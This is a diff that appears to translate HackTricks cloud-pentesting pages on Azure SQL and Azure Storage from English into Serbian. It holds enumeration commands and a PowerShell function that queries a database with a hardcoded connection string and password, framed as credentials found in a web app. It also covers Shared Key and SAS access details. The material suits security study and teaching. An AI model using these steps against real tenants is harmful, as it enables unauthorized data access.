- **Grupisanje za prebacivanje**: P pojednostavljuje oporavak od katastrofa grupisanjem baza podataka za automatsko prebacivanje među regionima.
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
|
||||
**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
|
||||
**Azure SQL Managed Instance** je platforma kao usluga (PaaS) koja nudi skoro 100% kompatibilnost sa SQL Server-om i automatski obavlja većinu upravljačkih zadataka (npr. nadogradnje, zakrpe, rezervne kopije, praćenje). Pruža rešenje u oblaku za migraciju on-premises SQL Server baza podataka uz minimalne promene.
|
||||
|
||||
#### Service Tiers
|
||||
#### Servisni nivoi
|
||||
|
||||
- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
|
||||
- **Business Critical**: High-performance option with low I/O latency for critical workloads.
|
||||
- **Opšta namena**: Ekonomična opcija za aplikacije sa standardnim I/O i latencijskim zahtevima.
|
||||
- **Poslovno kritično**: Opcija visoke performanse sa niskom I/O latencijom za kritična radna opterećenja.
|
||||
|
||||
#### Advanced Security Features
|
||||
#### Napredne sigurnosne karakteristike
|
||||
|
||||
* **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
|
||||
* **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
|
||||
* **Backups**: Automated and manual backups with point-in-time restore capability.
|
||||
* **Zaštita od pretnji**: Napredna zaštita od pretnji upozorava na sumnjive aktivnosti i SQL injekcijske napade. Revizija za praćenje i beleženje događaja baze podataka radi usklađenosti.
|
||||
* **Kontrola pristupa**: Microsoft Entra autentifikacija za centralizovano upravljanje identitetom. Bezbednost na nivou redova i dinamičko maskiranje podataka za granularnu kontrolu pristupa.
|
||||
* **Rezervne kopije**: Automatske i ručne rezervne kopije sa mogućnošću obnavljanja tačke u vremenu.
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
|
||||
**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
|
||||
**Azure SQL Virtual Machines** je najbolje za migracije gde želite **kontrolu nad operativnim sistemom i SQL Server instancom**, kao da je to server koji radi on-premises. Može imati različite veličine mašina i širok izbor verzija i izdanja SQL Server-a.
|
||||
|
||||
#### Key Features
|
||||
#### Ključne karakteristike
|
||||
|
||||
**Automated Backup**: Schedule backups for SQL databases.
|
||||
**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
|
||||
**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
|
||||
**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
|
||||
**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
|
||||
**Automatska rezervna kopija**: Planirajte rezervne kopije za SQL baze podataka.
|
||||
**Automatsko zakrpljenje**: Automatizuje instalaciju Windows i SQL Server ažuriranja tokom prozora održavanja.
|
||||
**Integracija Azure Key Vault**: Automatski konfiguriše Key Vault za SQL Server VMs.
|
||||
**Integracija Defender for Cloud**: Prikazuje preporuke Defender for SQL u portalu.
|
||||
**Fleksibilnost verzije/izdanja**: Promenite metapodatke verzije ili izdanja SQL Server-a bez ponovne implementacije VM-a.
|
||||
|
||||
#### Security Features
|
||||
#### Sigurnosne karakteristike
|
||||
|
||||
**Microsoft Defender for SQL**: Security insights and alerts.
|
||||
**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
|
||||
**Microsoft Entra (Azure AD)**: Authentication and access control.
|
||||
**Microsoft Defender for SQL**: Uvidi u sigurnost i upozorenja.
|
||||
**Integracija Azure Key Vault**: Sigurno skladištenje akreditiva i ključeva za enkripciju.
|
||||
**Microsoft Entra (Azure AD)**: Autentifikacija i kontrola pristupa.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List Servers
|
||||
az sql server list # --output table
|
||||
@@ -164,11 +163,9 @@ az sql midb show --resource-group <res-grp> --name <name>
|
||||
az sql vm list
|
||||
az sql vm show --resource-group <res-grp> --name <name>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
@@ -206,60 +203,51 @@ Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <
|
||||
# Lis all sql VM
|
||||
Get-AzSqlVM
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Connect and run SQL queries
|
||||
|
||||
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
|
||||
### Povezivanje i izvršavanje SQL upita
|
||||
|
||||
Možete pronaći string za povezivanje (koji sadrži akreditive) iz primera [enumerating an Az WebApp](az-app-services.md):
|
||||
```powershell
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
|
||||
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
|
||||
|
||||
Možete takođe koristiti sqlcmd za pristup bazi podataka. Važno je znati da li server dozvoljava javne konekcije `az sql server show --name <server-name> --resource-group <resource-group>`, kao i da li pravilo vatrozida dozvoljava našem IP-u pristup:
|
||||
```powershell
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-sql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## Post eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,227 +1,216 @@
|
||||
# Az - Storage Accounts & Blobs
|
||||
# Az - Računi za skladištenje i Blobi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Storage Accounts are fundamental services in Microsoft Azure that provide scalable, secure, and highly available cloud **storage for various data types**, including blobs (binary large objects), files, queues, and tables. They serve as containers that group these different storage services together under a single namespace for easy management.
|
||||
Azure Računi za skladištenje su osnovne usluge u Microsoft Azure koje pružaju skalabilno, sigurno i visoko dostupno cloud **skladište za različite tipove podataka**, uključujući blobe (binarni veliki objekti), datoteke, redove i tabele. Oni služe kao kontejneri koji grupišu ove različite usluge skladištenja pod jednim imenom za laku administraciju.
|
||||
|
||||
**Main configuration options**:
|
||||
**Glavne opcije konfiguracije**:
|
||||
|
||||
- Every storage account must have a **uniq name across all Azure**.
|
||||
- Every storage account is deployed in a **region** or in an Azure extended zone
|
||||
- It's possible to select the **premium** version of the storage account for better performance
|
||||
- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
|
||||
- Svaki račun za skladištenje mora imati **jedinstveno ime u svim Azure**.
|
||||
- Svaki račun za skladištenje se implementira u **regionu** ili u proširenoj zoni Azure-a.
|
||||
- Moguće je odabrati **premium** verziju računa za skladištenje za bolju performansu.
|
||||
- Moguće je odabrati između **4 tipa redundancije za zaštitu** od kvarova rack-a, diska i datacentra.
|
||||
|
||||
**Security configuration options**:
|
||||
**Opcije konfiguracije sigurnosti**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
|
||||
- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
|
||||
- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
|
||||
- **Zahtevati sigurni prenos za REST API operacije**: Zahtevati TLS u bilo kojoj komunikaciji sa skladištem.
|
||||
- **Omogućava omogućavanje anonimnog pristupa na pojedinačnim kontejnerima**: Ako ne, neće biti moguće omogućiti anonimni pristup u budućnosti.
|
||||
- **Omogućiti pristup ključu računa za skladištenje**: Ako ne, pristup sa Deljenim ključevima će biti zabranjen.
|
||||
- **Minimalna TLS verzija**.
|
||||
- **Dozvoljeni opseg za operacije kopiranja**: Dozvoliti iz bilo kog računa za skladištenje, iz bilo kog računa za skladištenje iz istog Entra tenant-a ili iz računa za skladištenje sa privatnim krajnjim tačkama u istoj virtuelnoj mreži.
|
||||
|
||||
**Blob Storage options**:
|
||||
**Opcije Blob skladišta**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
|
||||
- **Dozvoliti replikaciju između tenant-a**.
|
||||
- **Pristupni nivo**: Vruće (često pristupani podaci), Hladno i Hladno (retko pristupani podaci).
|
||||
|
||||
**Networking options**:
|
||||
**Opcije umrežavanja**:
|
||||
|
||||
- **Network access**:
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: It allows a private connection to the storage account from a virtual network
|
||||
- **Pristup mreži**:
|
||||
- Dozvoliti iz svih mreža.
|
||||
- Dozvoliti iz odabranih virtuelnih mreža i IP adresa.
|
||||
- Onemogućiti javni pristup i koristiti privatni pristup.
|
||||
- **Privatne krajnje tačke**: Omogućava privatnu vezu sa računom za skladištenje iz virtuelne mreže.
|
||||
|
||||
**Data protection options**:
|
||||
**Opcije zaštite podataka**:
|
||||
|
||||
- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
|
||||
- It requires versioning, change feed, and blob soft delete to be enabled.
|
||||
- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
|
||||
- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
|
||||
- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
|
||||
- **Enable versioning for blobs**: Maintain previous versions of your blobs
|
||||
- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
|
||||
- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
|
||||
- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
|
||||
- **Obnavljanje u tački vremena za kontejnere**: Omogućava vraćanje kontejnera na ranije stanje.
|
||||
- Zahteva verzionisanje, promena feed-a i soft brisanje blob-a da bi bili omogućeni.
|
||||
- **Omogućiti soft brisanje za blobe**: Omogućava period zadržavanja u danima za obrisane blobe (čak i prepisane).
|
||||
- **Omogućiti soft brisanje za kontejnere**: Omogućava period zadržavanja u danima za obrisane kontejnere.
|
||||
- **Omogućiti soft brisanje za deljene datoteke**: Omogućava period zadržavanja u danima za obrisane deljene datoteke.
|
||||
- **Omogućiti verzionisanje za blobe**: Održava prethodne verzije vaših blob-ova.
|
||||
- **Omogućiti blob promena feed**: Čuva logove o kreiranju, modifikaciji i brisanju promena na blob-ovima.
|
||||
- **Omogućiti podršku za imutabilnost na nivou verzije**: Omogućava postavljanje politike zadržavanja zasnovane na vremenu na nivou računa koja će se primenjivati na sve verzije blob-ova.
|
||||
- Podrška za imutabilnost na nivou verzije i obnavljanje u tački vremena za kontejnere ne mogu se omogućiti istovremeno.
|
||||
|
||||
**Encryption configuration options**:
|
||||
**Opcije konfiguracije enkripcije**:
|
||||
|
||||
- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
|
||||
- **Tip enkripcije**: Moguće je koristiti ključeve koje upravlja Microsoft (MMK) ili ključeve koje upravlja korisnik (CMK).
|
||||
- **Omogućiti enkripciju infrastrukture**: Omogućava dvostruku enkripciju podataka "za veću sigurnost".
|
||||
|
||||
### Storage endpoints
|
||||
### Krajnje tačke skladišta
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">Služba skladišta</th><th>Krajnja tačka</th></tr></thead><tbody><tr><td><strong>Blob skladište</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue skladište</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table skladište</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
### Javno izlaganje
|
||||
|
||||
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
|
||||
Ako je "Dozvoli javni pristup Blob-u" **omogućeno** (onemogućeno po defaultu), prilikom kreiranja kontejnera moguće je:
|
||||
|
||||
- Give **public access to read blobs** (you need to know the name).
|
||||
- **List container blobs** and **read** them.
|
||||
- Make it fully **private**
|
||||
- Dati **javni pristup za čitanje blob-ova** (morate znati ime).
|
||||
- **Lista kontejnerskih blob-ova** i **čitati** ih.
|
||||
- Učiniti ga potpuno **privatnim**.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Connect to Storage
|
||||
### Povezivanje sa skladištem
|
||||
|
||||
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
|
||||
Ako pronađete bilo koje **skladište** na koje možete da se povežete, možete koristiti alat [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) za to.
|
||||
|
||||
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## Pristup skladištu <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way.
|
||||
Moguće je koristiti Entra ID principe sa **RBAC rolama** za pristup računima za skladištenje i to je preporučeni način.
|
||||
|
||||
### Access Keys
|
||||
### Pristupni ključevi
|
||||
|
||||
The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
|
||||
Računi za skladištenje imaju pristupne ključeve koji se mogu koristiti za pristup. Ovo pruža **potpun pristup računu za skladištenje.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
### **Deljeni ključevi i Lite deljeni ključevi**
|
||||
|
||||
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
|
||||
Moguće je [**generisati deljene ključeve**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) potpisane pristupnim ključevima za autorizaciju pristupa određenim resursima putem potpisanog URL-a.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
|
||||
> Imajte na umu da deo `CanonicalizedResource` predstavlja resurs usluga skladišta (URI). I ako je bilo koji deo u URL-u kodiran, takođe bi trebao biti kodiran unutar `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
|
||||
|
||||
- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
|
||||
> Ovo je **korisćeno po defaultu od strane `az` cli** za autentifikaciju zahteva. Da biste koristili kredencijale Entra ID principa, navedite parametar `--auth-mode login`.
|
||||
|
||||
- Moguće je generisati **deljeni ključ za blob, red i usluge datoteka** potpisivanjem sledećih informacija:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **shared key for table services** signing the following information:
|
||||
|
||||
- Moguće je generisati **deljeni ključ za usluge tabela** potpisivanjem sledećih informacija:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
|
||||
|
||||
- Moguće je generisati **lite deljeni ključ za blob, queue i file servise** potpisivanjem sledećih informacija:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for table services** signing the following information:
|
||||
|
||||
- Moguće je generisati **lite shared key for table services** potpisivanjem sledećih informacija:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
CanonicalizedResource
|
||||
```
|
||||
|
||||
Then, to use the key, it can be done in the Authorization header following the syntax:
|
||||
|
||||
Zatim, da biste koristili ključ, to se može uraditi u Authorization header-u prema sintaksi:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
|
||||
PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specific permissions to access resource**s in an Azure Storage account without exposing the account's access keys. While access keys provide full administrative access to all resources, SAS allows for granular control by specifying permissions (like read or write) and defining an expiration time.
|
||||
Shared Access Signatures (SAS) su sigurni, vremenski ograničeni URL-ovi koji **dodeljuju specifične dozvole za pristup resursima** u Azure Storage nalogu bez izlaganja pristupnih ključeva naloga. Dok pristupni ključevi pružaju punu administrativnu kontrolu nad svim resursima, SAS omogućava granularnu kontrolu tako što specificira dozvole (kao što su čitanje ili pisanje) i definiše vreme isteka.
|
||||
|
||||
#### SAS Types
|
||||
#### SAS Tipovi
|
||||
|
||||
- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
|
||||
- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
|
||||
- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
|
||||
- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
|
||||
- **User delegation SAS**: Ovo se kreira iz **Entra ID principal** koji će potpisati SAS i delegirati dozvole od korisnika na SAS. Može se koristiti samo sa **blob i data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Moguće je **opozvati** sve generisane korisničke delegirane SAS.
|
||||
- Čak i ako je moguće generisati delegaciju SAS sa "više" dozvola nego što korisnik ima. Međutim, ako principal nema te dozvole, neće raditi (nema privesc).
|
||||
- **Service SAS**: Ovo se potpisuje koristeći jedan od pristupnih ključeva **storage** naloga. Može se koristiti za dodeljivanje pristupa specifičnim resursima u jednoj usluzi skladištenja. Ako se ključ obnovi, SAS će prestati da funkcioniše.
|
||||
- **Account SAS**: Takođe se potpisuje jednim od pristupnih ključeva **storage** naloga. Dodeljuje pristup resursima širom usluga skladištenja naloga (Blob, Queue, Table, File) i može uključivati operacije na nivou usluge.
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
SAS URL potpisan sa **pristupnim ključem** izgleda ovako:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
A SAS URL signed as a **user delegation** looks like this:
|
||||
SAS URL potpisan kao **user delegation** izgleda ovako:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
Napomena o nekim **http parametrima**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
- **`se`** parametar označava **datum isteka** SAS-a
|
||||
- **`sp`** parametar označava **dozvole** SAS-a
|
||||
- **`sig`** je **potpis** koji validira SAS
|
||||
|
||||
#### SAS permissions
|
||||
#### SAS dozvole
|
||||
|
||||
When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
|
||||
Kada se generiše SAS, potrebno je naznačiti dozvole koje bi trebalo da dodeljuje. U zavisnosti od objekta nad kojim se generiše SAS, različite dozvole mogu biti uključene. Na primer:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
## SFTP Podrška za Azure Blob Storage
|
||||
|
||||
Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products.
|
||||
Azure Blob Storage sada podržava SSH File Transfer Protocol (SFTP), omogućavajući sigurnu razmenu i upravljanje datotekama direktno u Blob Storage bez potrebe za prilagođenim rešenjima ili proizvodima trećih strana.
|
||||
|
||||
### Key Features
|
||||
### Ključne Karakteristike
|
||||
|
||||
- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
|
||||
- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
|
||||
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
|
||||
- Podrška za protokol: SFTP radi sa Blob Storage nalozima konfiguriranim sa hijerarhijskim imenskim prostorom (HNS). Ovo organizuje blobove u direktorijume i poddirektorijume radi lakše navigacije.
|
||||
- Bezbednost: SFTP koristi lokalne korisničke identitete za autentifikaciju i ne integriše se sa RBAC ili ABAC. Svaki lokalni korisnik može se autentifikovati putem:
|
||||
- Azure generisanih lozinki
|
||||
- Javnih i privatnih SSH ključeva
|
||||
- Granularne dozvole: Dozvole kao što su Čitanje, Pisanje, Brisanje i Lista mogu se dodeliti lokalnim korisnicima za do 100 kontejnera.
|
||||
- Mrežne razmatranja: SFTP veze se uspostavljaju preko porta 22. Azure podržava mrežne konfiguracije kao što su vatrozidi, privatne tačke ili virtuelne mreže za zaštitu SFTP saobraćaja.
|
||||
|
||||
### Setup Requirements
|
||||
### Zahtevi za postavljanje
|
||||
|
||||
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
|
||||
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
